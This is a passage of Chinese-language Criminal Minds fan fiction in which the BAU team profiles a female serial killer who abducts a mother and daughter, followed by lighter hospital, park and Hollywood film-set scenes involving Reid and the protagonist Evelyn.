“我又不会打扰他们,我就在一旁静静的看着!”佐伊是真想看现场版的查找线索,这么精彩的部分她可不想错过。
伊芙琳拉着她去她家店里,“你的呼吸会打扰别人,我想买一瓶橙汁,早上吃的有些腻了现在坐车后更难受了。”
伊芙琳好说歹说胡说八道将人带走了。
呼吸会吵到人家查案倒是假的但她真的有些恶心倒是真,正好佐伊会剪头发,她正好剪的比较乱让佐伊帮她整理一下。
佐伊无语,“那你叫我过来干嘛,”
这是个好问题,伊芙琳瞥了眼上楼的两人,她凑到佐伊耳边小声道,“估摸等会回来找我们,他们和警局里的人问的点一些不一样,刚才在车上艾米丽探员和我说了些让我们在店里等他们。”
摩根和艾米丽上楼时也听到楼下的那句你的呼吸会吵到人家,想着对方一本正经的胡说八道,两人都不由自主的笑了笑。
艾米丽道“刚开始觉得这孩子文静的有些乖巧,不过这几次相处下来,倒是蛮有意思的。”
摩根长腿一迈,一只脚抵在铁皮脱落的金属栏杆,大致测了下距离,看着楼梯边角随口道,“是挺有意思的,还是心理专业的学生,也不知道以后有没有考虑来FBI工作。”
艾
翠丝家的门被打开,摩根捏着钥匙率先进门。
云朵遮住了太阳,室内短暂的昏暗了一瞬,一大一小两个卧室连接着厨房和卫生
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间。
小卧室的床单不见了,资料上说的是伊芙琳一行人半夜来找翠丝时,佐伊发现的。
后来经检查,被单上还残留着兰登夫妻的血液,这就有些奇怪。
凶手行凶前为什么要把翠丝卧室的人床单拿到主卧室里,明明主卧也有床单。
“嫌犯选择的前三组家庭都是年轻的夫妻带着一个婴儿,为什么这次偏偏选择了单身的提亚,女儿也已经很大了。”艾米丽看着床上凌乱的被子,“提亚是躺上去后又突然醒过来,而翠丝的房间被子没有被动过的痕迹,伊芙琳说翠丝那天晚上准备躲到母亲床下到等着那个频频半夜站在床边的人影。”
“床下没有被拖过的痕迹,只有翠丝攀爬后留下的几个汗湿的脚印,她是自己爬出去的,无论怎样她当时听到声音并没有受到惊吓。”
不过床头的地板上血迹模糊的厉害,当时应该有人在这里。
摩根看着墙上喷射的血迹,以及地面上的血痕,一路拖到卧室门口还有挣扎的痕迹,是翠丝或者提亚留下的。
他来到了客厅看了眼桌子上的啤酒易拉罐,直接走到厨房。
厨房很小正对着马路的方向有一个小窗户,冰箱挤在窗口,一侧的水池和料理台被遮挡住了大部分的光线。
四天没有用过的水池很干燥,摩根来到冰箱前,刚弯腰就直接撞到后面的墙壁,疼的龇牙咧嘴。
今天可真是,摩根一边打开冷藏室一边暗叹果然不该嘲笑瑞德。
冰箱里都是商超的打折商品,还有一些临期的已经开封的香肠。
无论这些过了保质期还是没过,总而言之都是在这条街区后面的商超购买,冷冻区的贴着打了三折一折标签的生肉也都是超市的logo。
摩根将一瓶易拉罐啤酒拿出来,“家里的用品大部分都是打折商品,这几瓶啤酒价格倒是贵的有些奇怪。”
包装六瓶易拉罐纸盒里只剩下了五瓶。
“当天检查出水池有啤酒液残留,里面有安定的成分,很浓。没喝完的啤酒直接倒了进去。”艾米丽道,她说到这里,她看了眼最里面掩藏在蔬菜后面的开封的易拉罐,摩根眼看见了。
摩根翻了翻资料,“屋子里除了水池没有其他地方残留酒液,不是被人威胁硬灌下去,提亚主动喝的,这人或许是提亚认识的人。”
“也不一定,”艾米丽道“说不定是提亚相信自己的男友,是男友给她喝的。”
两人准备去找附近的人询问一下附近的邻居。
而与此同时,瑞德拄着拐杖吃力的点着右脚,他右手还拿着资料夹,冷冻柜推出来的尸体还带着寒气,JJ看了眼尸体的伤口,颈部一刀……
法医在对面双手抄着兜,目光落到尸体的致命伤口时,他直言“这是一把很锋利的五英寸的刀,不过我上面写道,这条致命伤是一层叠一层,基本上凶手不是一刀致命。”
“不是一刀致命难道凶手是故意折磨受害者?可凶手有施虐的倾向,受害者身上不该只有脖子上一处伤口。”JJ眉头微皱。
“力气不足。”瑞德目光落到了女性死者的手腕上,虽然受害者身上没有伤痕,但手腕上被绑的痕迹也能看出来,和男性死者手腕的痕迹以及摩擦程度完全不同。
JJ第一个反应是,那个始终将自己隐藏起来的嫌疑人,有可能是个女人。
但这只是推测,他们还需要证据证明。
20.第 20 章
女人静静地坐在小屋里,窗外远处倒塌的废墟上,推土机的履带缓缓碾过碎砖,整栋楼微微震颤片刻后恢复宁静。
所有原住民早早搬走,谁都没有想到这里还有人。
地下室的两个又累又饿有气无力,清醒时所积攒的能量在互相争吵后消失殆尽,她们四天没吃饭了……
一楼的女人也没好到哪里,凌乱的头发落到她那张苍白的脸,暗棕色的眼珠子一直直勾勾的盯着窗外,不过片刻她目光一顿,视线下移。
也不知过了多久,她慢吞吞的起身从冰箱里拿出已经变质的牛奶,喝完后将冷冻区化了的生鸡肉拿出来。
已经拆迁的房子早早就断了水电,女人的冰箱冷冻柜里的肉早早就腐烂,鸡胸肉变成绿色,女人没有看见一般拿着刀叉准备吃进嘴里。
鸡肉在嘴边,下面又传来微弱的声音,隔着一层薄薄的地板,女人放下刀叉,端着一盘黏糊的绿色鸡肉慢吞吞的打开房门,顺着地下室的楼梯口下去。
一楼每一户人家都赠送一个地下室,一楼在当时很受欢迎,每一个地下室都有两间储藏室,
女人打开大门,而手术台上的人连忙抬起头,灰头土脸的,头顶的黑卷毛也带着几片细碎的墙皮渣,警惕的瞪着大眼睛。
她目光落到女人手里端着的东西,翠丝饿的舔了舔嘴角,光线太暗她以为是什么酱汁,她甚至想到了薄荷酸奶酱都没有想过那是一盘发绿肺鸡胸肉,还是生的。
不过再饿,翠丝还是想说,“你能不能放我们出去,我们不追究。”出去后让你牢底坐穿。
女人没有说话,般过椅子坐在手术台旁边,将盘子放在膝盖上,她很瘦,拿着餐刀的手似乎都没什么力气。
不过翠丝依旧记得这个看着体弱的女人,是如何一刀一刀的缓慢的割破一个人的脖子,对方那种专注的态度让人以为是一位敬业的医生再给病人做手术。
一个冷静的死变态!
翠丝在女人坐到她旁边时才看到那盘子里的东西是什么,她嫌弃的屏住呼吸,眼见着女人将切下来的肉要塞到翠丝嘴里时,黑金刚芭比紧闭着嘴巴,鼻尖浓郁的一股子腥臭让她呕了一声,鼻涕都冒出来了,太近了!
翠丝真要以为这疯婆子准备逼她吃进去,她以为这就是伊芙琳说的折磨,想到绿色的肉被迫进嘴里的黏腻恶臭……呕!
不过翠丝想了很多,并脑补的干呕时,那女人女人却没有坚持,而是露出一个小小的笑容当着翠丝的面一口将腐烂的鸡肉吃进嘴里……
翠丝想要闭上眼睛,这个女人吃东西的样子好恶心,可她怕闭上眼对方突然摸出来刀割她脖子,如果不是手被绑住,她现在已经捂住自己的脖子。
不过翠丝依旧想做个明白死鬼,她看着女人慢条斯理的舔着嘴角的黏液,深吸口气道“你不是我妈妈的朋友吗?你为什么要杀了我们,我妈妈做了什么对不起你们的事?因为抢了你的男人?”
女人吃完饭将盘子放到一侧的柜子上,铁皮柜子发出闷闷的响声但都没有头上的声音大。
有一阵震颤感袭来,头顶的灰尘扑簌扑簌的落下,女人声音沙哑道,“她抢走了我的孩子。”
翠丝不可置信,在这一瞬间巨大的惊喜冲昏了她的脑子,她两眼一亮“我是你的女儿!”
翠丝觉得自己终于得救了!她是这个女人的女儿不是吗?她或许可以趁机提出让女人放了她和提亚。
虽然提亚女士对翠丝很小气、抠门、大喊大叫、还总是揍她最后还将她撵出家门,但她也不想看到对方被杀。
翠丝带着一种劫后余生的激动和晶莹的泪珠准备喊女人一声妈妈,想要对方清醒一点,但实际上和好友佐伊的混血不相同,纯黑漆漆的翠丝从肤色这种遗传特征来看,她怎么都不可能有一个白人的妈。
隔壁提亚大喊,“你生下来的时候我就该将你一起送走大笨蛋!她是白人!”对面突然消音了。
骂归骂,提亚却并不愿提及那个被送走的孩子,女人的母亲当时让提亚将孩子抱走的主要原因,就是女人本身的心理疾病。
生完孩子后她总会想要掐死自己的女儿。
老人家不愿孙女就这么被亲妈掐死,又没有能力抚养,只能让提亚将孩子带走。
事实证明,老人的猜想完全没有错,这个女人真是疯了,提亚一直不理解,自己的朋友高中以前都是好好的,甚至有些胆小,她完全不敢相信这人现在竟是个杀人犯!
灯一直摇晃,女人一句话不说,她拉着抽屉上的铁环,用了大力气才扯了出来,其中两只细长的针筒从里面飞了出来。
翠丝偏头看着地上的针剂里是浅黄色的液体被女人捡起来,“那个是什么?你要对我做什么死变态!”
一看这女人不是自己亲妈,翠丝翻脸不认人,破口大骂贱人变态下地狱的魔鬼…..她深刻的知道一些不好的东西打进去,她可没有毅力戒掉,翠西认为这个女人要开始折磨她了!
翠丝一想到伊芙琳被打的脸都肿成猪头、肋骨都断了,她头皮都发麻。
这时候女人停下脚步,她一改刚才那副精神有问题的样子,脸色有些难看的转头将针剂放到抽屉里,也没有关掉抽屉,或许是因为她有些着急根本来不及关。
翠丝刚要鬼叫,女人折返回来直接贴上胶带。
轮到隔壁的提亚,她看着昔日的好友,那副样子,更是又生气又难过,她也怕死,她哀求的看向女人,女人不为所动,仿佛不认识提亚,贴上胶带匆匆离开。
三个戴着帽子穿着工装的男人们站在一楼的楼梯口正在说话,一个人抬头看向楼梯上面的,余光撇到了地下室有一个影子一闪而过。
——————……——————
电脑上的时间显示,9:40pm
专案小组和BAU小组成员围坐在椭圆形深棕色会议桌旁边,面前是案件的纸质资料报告、照片。
咖啡早已凉透了,亨利喝了一口强打着精神,应对这没完没了的凶杀案。
JJ看着手里的资料, “相似之处在于,受害者是白人夫妻,年龄二十三到二十七不等,新婚,妻子尚在哺乳期,孩子大多五个月不超过八个月大。”
“共谋犯罪,两名嫌疑人以女性为主导地位,控制以及掌控生命的权利被她握在手里,男人并没有参与。”瑞德提笔指了指屏幕上的几处伤口加以佐证,冷光落到他的脸上,那一双黑眼圈过于明显,“其一受害者致命伤并没有一刀致命而是反复割断,其二共犯自杀身亡。”
在犯罪心理学中,女性犯罪占主导地位时,会有明确的预谋性、目标选择性以及控制性特征。
瑞德推了推滑落到鼻梁的上的黑框眼镜,隔着刺眼的冷光眨了眨有些发涩的双眼,目光锐利语速飞快道,“一般这类犯罪者通过主导筛选受害者来满足自己的自己的控制欲的病理性自我强化,而她们选择受害者的动机完全是服务于个人的利益,有反社会人格倾向。从这些受害者身上基本能看出嫌疑人的动机。”
摩根双手交叉环保胸前靠着椅子微微旋转,短体恤都包裹不住他健壮的肌肉,“此人作案前会有很冷静的作案计划,与女性犯罪常见的激情性形成强烈反差,去人性化倾向严重。”
罗西靠着身后的窗台,“象征性的选择受害者目标,男性的特征多与共犯中的男性极为相似,而女性的哺乳期是嫌疑犯主要的动机所在,或者她在二十二到二十四岁时起有过一个五个月到八个月之间的一名女婴。”
“如果按照这个反复重现的模式来说,嫌疑人和受害者女性的外貌特征极为相似。”
霍奇看向JJ,JJ点了点头起身准备召开记者会。
会议中只听到视频对面敲打的声音。
加西亚飞速的敲打键盘,时间一分一秒过去,一条条浮出水面的线索,形成密不透风的信息网铺天盖地,电脑屏幕上飞速滚动的信息。
“提亚认识的人不多,白人女性更是很少,失去过一个孩子,邻居提到几十年前的冬天,提亚突然抱回来一个白人女婴,不过没多久就送到了福利院,邻居说提亚回来的很快。”加西亚根据之前同事们陆陆续续在对面和她说的一些线索对照,“福利院,福利院,西雅图福利院……13……”
“找到了!”加西亚立刻将嫌疑犯的女儿照片和信息传了过来。
———————————
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“……白人女性,五十二到五十三四左右,身着…………”
电视机正在播放时事新闻,梅兰妮端着磨好的咖啡递给伊芙琳,坐下来后一边喝一边感叹,“他们真的太厉害了,这才多久。”
伊芙琳起身给前台打了个电话。
警车呼啸而过,一通由工人打过来的电话提供了线索。
一行人快速的坐车往工地赶去。
伊芙琳赶到医院时,只看到瑞德所在门口,他的身边还放着一个拐杖,迎着对方的目光,伊芙琳点了点头推开门。
而病房内,翠丝的声音如雷贯耳,此刻是凌晨十二点四十三分,护士大声呵斥“你们现在还不能吃东西,要做检查!请您不要大声喧哗!”
伊芙琳手里还带着带过来的刚用微波炉保温过的饭菜,她看了眼病床上瞪着大眼睛满脸不服气的翠丝,又看了眼将脑袋塞进被子里的提亚阿姨,她默默的关上了房门。
瑞德坐在椅子上偏头看向伊芙琳带的保温盒,不过随即移开了视线,这时候肚子突然咕噜叫了一声,他忙伸手捂着肚子,一侧的耳朵都泛红了,高高瘦瘦的人双手抱着膝盖,整个人缩在椅子上。
瑞德觉得有些丢脸,但他确实饿了,单腿跳也是很费力气的。
伊芙琳抿着要控制不住的嘴角,她咳嗽一声才道,“您也听到了翠丝吃不了东西,如果你不嫌弃的话,”
瑞德还有些不好意思,腼腆的抿着嘴,隔着镜片下还能看到他暖棕色的眼睛里一闪而过的羞涩。
伊芙琳接触几次也知道瑞德博士和她这个两面派不一样,人家是从头到尾从里到外都是一个害羞腼腆内向的人,她也没一个劲的劝、而是直接打开圆形的保温饭盒。
盖子打开的一瞬间,浓郁的包子香飘了出来,三个挤压的快成饼的猪肉圆葱馅的包子。
伊芙琳一边将包子的小盒子放到两人中间的椅子上一边念叨着“翠丝爱吃我做的猪肉酸菜的包子,但我没弄到酸菜,家里只有剩下的圆葱,猪肉圆葱也不错,您在中餐馆点过包子吗?”
“没有,”瑞德好奇地看着白面小圆饼,伊芙琳趁机一手拿了一个,一边咬着手里的包子一边将另一个递过去。
瑞德抬眸看了眼伊芙琳手里的包子,上面还有一层玉米叶子。他迟疑片刻终究是接到了手里。
猪肉圆葱馅的包子……
瑞德在中餐馆只点过一些炒菜,而且谨慎起见他总会点重复的餐食,以至于中餐的很多菜和一些面点他都没怎么吃过,面条更是让他苦恼的厉害,他用筷子很费劲。
包子捏在手里似乎软软的,和面条的感觉不太一样,瑞德也饿急了,下午到现在都没有吃东西,一口下去,咬了三分之一,白面皮里的馅料肉汁不是很咸,还带着圆葱汁的甜,肉的颗粒不是很大,吃起来没有很重的颗粒感,一颗肉馅很大,包子皮很薄,汤汁差点都要流了出来,瑞德自己都没反应过来,一个包子进肚子里了。
伊芙琳没注意这些,她早早吃完了一个,此刻正从里面拿了一盒海鲜粥出来,头发有些乱糟糟的,她晃了晃脑袋吹掉眼前的发丝,看了眼头发没有掉进去才舒口气,抬眼看着对方瘦削的样子,那双黑眼圈越来越浓了,内心感慨一句可把人家累惨了。
这粥就不能分享了,伊芙琳直接一把塞到瑞德博士的手里,见对方抱住了粥碗,留下一句快吃不然就凉了,然后起身去看看翠丝。
伊芙琳顺手从兜里掏出来一袋面包装模作样的进去了。
翠丝的鼻子很尖,她在伊芙琳坐下来后,像只小狗一样趴在伊芙琳的身上嗅,“你吃包子了!”
伊芙琳将面包砸到翠丝的身上,然后笑眯眯的坐了回去,“等你好了我给你做。”
翠丝眯着眼狐疑的看了眼外面。
摩根大踏步来找瑞德,其他的都交接好了,他来接他们瑞德小博士,加西亚已经给小组点好了夜宵。
此刻也已深,病人们都陷入了沉睡中,走廊昏暗的灯光下,伊芙琳抱着手臂靠着墙,不时低头说着什么。
而坐在长椅上的他们瑞德宝宝竟然吃独食,摩根挑眉,他们可饥肠辘辘呢,本来还担心瑞德饿的都要走不动路了……
21.几年前和莱拉热吻的……
这天瑞德正在公园里和自己的棋友下棋。
太阳暖融融的,不远处的草坪斜坡下一个巧克力型男单推屈膝,双手搭在脑后,挂着墨镜呼呼睡觉。
再下坡就是微微平缓的草坪,有孩子在上面踢着足球,有的拿着玩具四处奔跑尖叫,家长们三三两两在难得的休息日有限的聚在一起,总结一下糟心的老公又做了什么无可救药的蠢事以及那些疯了的同事们。
理所当然,在一个公司当中,某些同事只能用疯子才能准确的表达他们令人糟糕的性格。
也有的老夫妻提着装着食物的小篮子,坐在一旁的长木椅子上,享受着日光享受着热闹的气氛。
瑞德捏着黑子目光专注,在棋友下完一子后他便紧紧跟上,两人的速度对比另一侧那对情侣显然快了不止一倍。
眼见着马上就要分胜负了,棋友看着看着冷不丁问了一句,“伊芙琳。”
瑞德抬眼看向对方,一边将棋子精准的堵住白子一边纳闷道,“你怎么知道这个名字?”
“摩根在你上厕所的时候聊了很多你的美食搭档,”棋友叹口气,有些惋惜地看着自己惨败的白子想发自内心道,“你怎么学什么都这么快呢。”
瑞德被夸的露出小小的笑容,他推了推眼镜眉飞色舞的讲解自己如何在短时间内掌握围棋的精髓和技巧,这些都……
棋友笑眯眯的听了十分钟左右,下面的摩根有些受不了了。
他在睡梦中重现了瑞德几个月都没有的那种喋喋不休的专业知识的灌输,刚开始还很欣慰这家伙似乎慢慢走出来了,毕竟梅芙刚死的那段时间这家伙简直少言寡语的让人不适应。不过梦里的欣慰在接下来时间越长,摩根就越想捂耳朵。
等梦醒了,墨镜下的眼睛翻了个白眼,紧接着他爬起来拍了拍身上的草屑,起身往上走,“嘿嘿!瑞德博士,可以了。”
瑞德闭上嘴,暖棕色的眸子带着意犹未尽。
不过再怎么样,目前处于残疾人士的大男孩只能被好友一把架起,两人个子差不多,但清瘦的男孩显然成了摩根这种肌肉男手里的一根竹竿,三两下就将人带回了JJ家。
小亨利看到教父,笑眯眯的跑过去,还是个几岁的孩子,只到瑞德膝盖,小小的很可爱。
小家伙留着自己最喜欢的和教父之前一样长的浅金色头发,双手直接抱着教父的膝盖。
JJ的丈夫威尔正端着一份芝士三明治,他笑着道“我都要吃醋了,这孩子可真喜欢他的教父。”
瑞德抿着嘴笑的眼睛弯弯的,握着小亨利柔软的小手,两人来到餐桌旁,有瑞德陪着,小亨利更高兴了,大口地吃着三明治,黄色的芝士酱都粘到了小脸上。
摩根看了眼,和一旁的will挤眉弄眼道,“他要是有了孩子,肯定非常溺爱,你们可小心着点。”
“hi!”瑞德抗议,“我听见了!”
摩根满脸无辜摊手,“我又没说悄悄话。”
瑞德哼了一声转身撑着下巴,小亨利奶声奶气道“摩根欺负教父吗?亨利会跟他讲道理的!”
“哦,天,”摩根看到这里忍不住和威尔道,“你们生的是什么小天使。”
威尔笑的一脸自豪,他很爱自己的儿子。
【哈尼,过来的时候在便利店买一盒草莓、妈妈有用。】
伊芙琳看到短信时,她已经到了好莱坞最大的影视基地正门口,在这里还要坐大巴才能到最里面的情景搭建片场。
太阳已经很刺眼了,糟糕的是她没有带任何防晒用具,帽子墨镜都被她落在了酒店的行李箱里。
明明早上出来天还是阴沉沉的……
一旁的几个年轻的男孩女孩彼此聊着天,说说笑笑的,其中一个长相甜美的姑娘看了站在影视城门口的伊芙琳,她脸上还带着笑呢,随口和朋友们小声道,“看,那个姑娘。”
几人随即看了过去,只见对方已经伸出手遮挡阳光,转身就要往这边走,“你们猜她是不是也是来面试的。”
“这有百分之八十的可能。”一个男孩小声嘀咕道,说的话还带着几分严谨。
他们看着伊芙琳慢吞吞的走到他们面前,然后擦肩而过。
女孩们互相看了一眼,顿时笑了起来,她们大概也觉得自己好像很无聊。
“也不知道这次的面试我们能不能都通过,毕竟不是太大的角色只是群演而已。”
“能在这个导演的镜头出现,群演也镶着金边呢,莱拉不就是个例子,她可真幸运不是吗?”
伊芙琳在车站后的小便利店里挑选草莓,早上新拿出来的草莓还是很新鲜的,饱满的红色浆果看着就很好吃的样子,伊芙琳为自己挑选了三盒,毕竟一盒里面只有六颗,而大小吗和鹌鹑蛋差不多。
想念和手一般大的草莓。
伊芙琳重新回到大巴车站时,正是这群人说的最热的时候。
毕竟是那个从最底层的一个小群演,突然在电影后直接爆火,甚至还引来了一个杀人犯。
“为了占有她而杀了她身边的人,啧,那些死了的家伙也真是够倒霉的。当时基本上每个报纸的头版头条都是她,好像在这个杀人犯事件后这几年他倒是爬上了顶端了。”
“这次还能和露琪还有维多利亚两个老牌演员一起参与那个导演的制作,她可真走运啊。”
“一切都刚刚好,不是吗?”站在伊芙琳旁边的女孩突然想起了什么,她眼前一亮满脸八卦的样子,“对了对了!你们看没看到那张泳池接吻照!对象还是FBI的探员呢!”
伊芙琳彼时正在琢磨着要不要揭开盖子掏一颗出来,她盯着袋子越看越馋。
“看着年纪好小,长得也文弱,我都怀疑是不是莱拉的经纪公司想要炒作,不过俊男美女出浴图还是热吻,嘿嘿嘿嘿……”
伊芙琳最终还是从盒子缝隙中抠出了一个草莓,咬了尖尖,清润的香甜,软乎乎的都是果汁,还好没有买到发艮(gen)的。
一旁的姑娘问到了香甜的味道,她看了眼伊芙琳手里的草莓,顿时咽了咽口水,她决定离开后也要去买一盒。
“说起来,你们听没听说今早出事了,”一个打扮的酷酷的男孩伸出三根手指,“死了三个人,就在莱拉的明日黄花片场旁边,还挺有名的,估摸等我们进去了就能看到,好多人在警局门口抗议呢。”
“怎么莱拉到哪都有人死,死神附体哈哈哈”
伊芙琳掏出第三颗草莓的手一疆,她抿着嘴狐疑的看了眼自己的手陷入沉思,按照刚才这些人的说法,那个叫莱拉的姑娘这么些年也就碰到两次,而她加上这一次可是第四次了……她可比那个可怜的姑娘更符合死神附体的称号……
伊芙琳在纸巾上蹭了蹭自己沾满草莓汁的手指,抠的时候直接不小心将草莓抠破了。
不远处的大巴驶来,一行人终于上了车,伊芙琳也停止自己这个没有任何根据的猜测。
洛杉矶出现凶杀案,如果死者是普通人或许上面压力不大,但恰恰是这三位明星太有名气了,网络报刊还有粉丝集体在警局门口抗议施压。
洛杉矶警局直接找到了联邦总局,好在对方中午就到了。
“……抓到凶手!抓到凶手!”
洛杉矶警探看着乌泱泱的方形抗议小分队,还有无孔不入趴在门口的记者,警探揉着头拉上帘子,转头叉腰深深叹口气,皱眉无语道,“怎么哪哪都有他们呢,真是闲的没事干的抗议者们!”
霍奇当做没听见,他让警察带他们去案发现场。
两名死者都在影视城拍摄现场被杀。
警探说了一些细节当即让小组成员警惕起来。
瑞德刚下车,余光瞥见了一抹眼熟的铂金发和蓝色的缎带,他脚步一顿。
摩根已经窜出去几米远,回头见人没跟上来,顺着瑞德的视线看去。
这里是案发现场,摩根压抑着要吹口哨调侃瑞德。
这不是巧了。
瑞德宝宝的初吻对象莱拉,摩根视线移到一旁眼熟的姑娘身上,在对方微微侧头和莱拉说话时露出的小侧脸,摩根最终没忍住。
“哇哦。”
这两人凑在一起可真是让人兴奋,关键让摩根看好戏的原因是,瑞德见到两人会是什么反应,于是他看了过去。
而瑞德的反应也只是愣了一下,然后继续往前走,不过走了几步他又看了过去,犹豫着掏出手机发了条短信,然后就和摩根进了片场。
而另一号场地,伊芙琳被热情的莱拉带着转了一圈后回到剧组就见露西阿姨手死死的捂着妈妈的嘴,而维多利亚女士不甘示弱的张开嘴咬了一口。
“哦!”露琪疼的甩开手,回头控诉,“导演她咬人!”
莱拉尴尬的小声解释道,“她们其实关系还是不错的。”
在娱乐圈混了这么些年,莱拉下意识的想要维护剧组形象,她很怕蔡司女士的女儿会看不下去和记者乱说什么。
这部戏是莱拉好不容易得到手的,作为露西的下属,她在这部影片中的角色也是举足轻重的。
想到这里,莱拉还想说什么,就听见身边比她小了七八岁的姑娘的笑声,她在昏暗的灯光下看过去。
只见那双浅蓝色的眼睛笑的亮晶晶的,没有丝毫生气的样子,浅蓝色发带和铂金色头发柔软扎成一个软软的兔尾巴卷,蓝色的宽带格子裙让她更像是一个乖巧的姑娘。
莱拉感叹年轻可真好,这姑娘比妈妈还要漂亮,就听见伊芙琳轻声道,“不用担心,我不是多嘴的人,
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我妈妈和我说过娱乐圈的事情。”
小姑娘摊摊手,也不能算摊手,一只手还牢牢的抓着玻璃瓶,里面还剩一口奶,剧组的桌子上还有十几瓶没有开封的热牛奶,另一只手还提着草莓,维多利亚女士一直在工作中。
莱拉点了点头。
这时候伊芙琳被拍了拍肩膀,她回头一看,惊喜的压低声音道,“乔伊阿姨。”
“哦天啊甜心,你总是活生生的将我叫成五十多岁的老阿姨一样。”乔伊抱怨归抱怨,不过还是稀罕的抱了抱她从小看到大的孩子,“哈尼,好久不见了,我去的时候你还在昏睡,小可怜”
伊芙琳被乔伊阿姨摸着脸摸着胳膊捏了捏,她觉得有些痒,笑嘻嘻的想要躲开。
乔伊也顺势放手,看着面前的小姑娘脸色不错,肉也养回来了,不再是刚救出来一副瘦的脱相的样子。
顺手将剧组摆在自助区的纸杯小蛋糕给伊芙琳,她吃了好几块,这个是最好吃的,上面是和德芙黑巧一样浓郁的巧克力奶油,蛋糕胚也是偏苦的,她知道伊芙琳最爱吃微苦的巧克力甜品。
果不其然,伊芙琳一见眼睛都亮了。
只不过两只手伸出来,挂满了东西,乔伊帮忙拿了袋子,低头一看袋子里的草莓她无语道,“你妈让你买的?”
伊芙琳撕开纸,将蛋糕撕了一块盖在奶油上,吃巧克力派一样一口咬下去,早上没什么胃口吃的不多,现在确实有些饿了,只不过还未等她将剩下的吃进肚子里,就被从病床上跳下来的木乃伊一只手揽着肩膀,一溜烟的被推到了一间空的格子间。
维多利亚女士这部伸出木乃伊的手抵着小女儿的额头,“哈尼,现在不是叙旧情的时候,妈妈等一会要干一件大事,等干完了妈妈陪你逛影城哈。”
“莱拉小姐陪我逛了一圈了妈妈。”
“哦是吗,好吧”维多利亚女士抬手就要拿女儿手里的便利店的袋子,但乔伊死死的拉着,“你疯了,要是过敏严重死了怎么办?”
维多利亚女士拿着帕子擦着草莓,忙碌之余不忘发出兴奋的笑声,“别说让我开心的话亲爱的。”
伊芙琳在一旁听到这里,她看了眼草莓又看了眼维多利亚女士嘴角都要咧到耳边了。
“妈妈,”伊芙琳问道“你要给露琪阿姨用这个手帕吗?”
伊芙琳又问了一嘴,“您知道她会过敏?”
一般来说,正常人都不会让自己的孩子看到自己是如何犯罪的,哪怕维多利亚这朵奇葩在这时候看着小女儿清澈的眼睛也有些心虚。
心虚过后维多利亚女士瞪了一眼好友乔伊,但对方直接背过身当做没看见,气死。
不过眼下维多利亚想要找回自己在小女儿面前善良坚强的不屈不挠不畏挫折的坚韧的母亲形象,为此她需要三十秒快速构思一下演讲台词。
要先说露琪那个死女人先惹她的,将她本来可以露腿的完美戏份换成了包裹成木乃伊躺在床上的样子简直奇耻大辱,然后再和女儿说露琪那个女人过敏不严重顶多让她肿四五天。
不过计划赶不上变化,想要拯救一下自己在女儿心中完美形象的维多利亚女士耳尖的听到了外面的似乎有不同寻常的动静。
秉持着好友就是用来出卖的,她快速的将草莓全都塞到乔伊的嘴里……
这时样板们被敲响,门外低沉严肃的嗓音响起,“fbi,开门。”
FBI!
乔伊和维多利亚长腿一软,一左一右靠着伊芙琳都站不住了!
伊芙琳压低声音,“妈妈!您究竟做了什么!FBi都来抓你了!”
伊芙琳真是,她从来不知道母亲竟然这般大胆!
她慌乱的看着门,不知道该怎么办了,但是首先要找律师!
维多利亚和乔伊只比伊芙琳更慌乱,两人齐齐躲到了比她们矮几分的伊芙琳身后,压低声音颤抖道“我们都没来得及犯罪!”
三个人都不知道怎么办了,于是快速的将三盒草莓塞进嘴里。
里面迟迟没有传来声音,摩根一脚踹了个木板纷飞,本就是剧组道具的门,压根不实诚。
伊芙琳都没来得及叫,身后一声比一声刺耳的声音响起,伊芙琳看着巧克力男人,紧张的不得了。
伊芙琳连嘴都没来得及擦,她感觉爆汁了!
不过眼前的人她恰好认识,伊芙琳伸手举到头顶,“我们没有干坏事。”
小姑娘一双蓝色的眼睛充满了真挚,不过摩根敏锐的察觉到伊芙琳身后的木乃伊似乎眼神躲闪有些心虚。
摩根挑眉。
三个女人跟在摩根出来时,正好看到一旁的露琪,心虚……大写的心虚。
露琪狐疑的看着死对头木乃伊维多利亚,这家伙都不敢看她。
22.第 22 章
莱拉在走廊接经纪人打来的电话。
经纪人表示无论怎样什么都不要说,无论看到还是没有看到,不要卷入杀人案件当中,并强调莱拉绝不能再有这方面的负面新闻了。
这些年死去的家属无时无刻不在莱拉的周围出现,无论是电影的人首映礼还是出现在好友的演唱会上,总会举着杀人犯的醒目红牌出现。
【说起这个,你之前和我说他们突然消失了是什么意思】
莱拉听出来经纪人语气带着警惕和烦躁,她也知道自己这些年的麻烦太多,经纪人都有些不耐烦处理这些事了,毕竟那些人并没有对她造成什么伤害,报警都没有用,只感到庆幸的是他们不知道她的地址。
莱拉知道经纪人的潜台词是什么,只看了眼隔壁的剧组里面还有警察和剧组成员谈话的声音,她小声道,“大概是看我一直不出去也没什么意思就走了吧。”
对面沉默片刻。
【总之,你尽量注意些,不要卷入这些事件当中,你该庆幸死的那三个和你没有任何关系,不要乱说话不要乱走动,待在剧组里。对了维多利亚和露琪这两个坏的流油的老女人非要让你站队你就躲开,她们俩好一阵坏一阵是一对脑子有问题的疯婆子。不过维多利亚的小女儿如何,她有没有进好莱坞的念头,你可注意点,你之前就被艾美.蔡司抢了风头。】
莱拉认为,伊芙琳似乎并没有要进好莱坞的念头,不过得了经纪人一句别人的想法你如何能知道,她望着棚顶弯弯绕绕搭建的架子,没什么情绪的说道,“您还有事吗?导演叫我了……好的再见。”
她沉默的站在原地,半晌撩开胸前的头发,轻呼口气,眼底带着一丝烦闷,这是理所当然的,无论是什么地方只有和人接触总免不了无尽的麻烦。
一声巨响传来时,莱拉吓了一跳,听声音似乎是他们剧组那边传来的,她立刻就要过去看看到底出了什么事,她害怕又是两位前辈打起来了。
不过没成想,她刚出门就看到一旁跟着隔壁组导演出来的瑞德,她没想到还能再见到他,她是高兴的。
之前因为案情的结束,加上经纪人的阻拦,她再也没有瑞德的消息。
“凌晨十二点你们结束了工作,三位演员为什么留了下来,因为什么原因。”
“还能是什么原因,他们吵起来了,不让我管,我们就收拾东西准备第二天的拍摄道具就离开了。”史蒂文导演脸色不太好,面对着满脸书卷气的小男孩,他更是有些不耐烦了,哪怕对方一连串的介绍听起来就是一个天才的成长史,但他还是质疑这个紧跟着他的FBI探员,他的年龄听着都有点不符合他的长相,瞧瞧吧,他看着可一点都不像是三十岁的男人。
瑞德敏锐的察觉到眼前这位六十多岁的导演并不愿意相信他,言语间也带着一丝不耐。
他已经询问过其他剧组成员,不过其他人碍于导演的面子,有些欲言又止但都没有说出昨晚到底发生了什么。
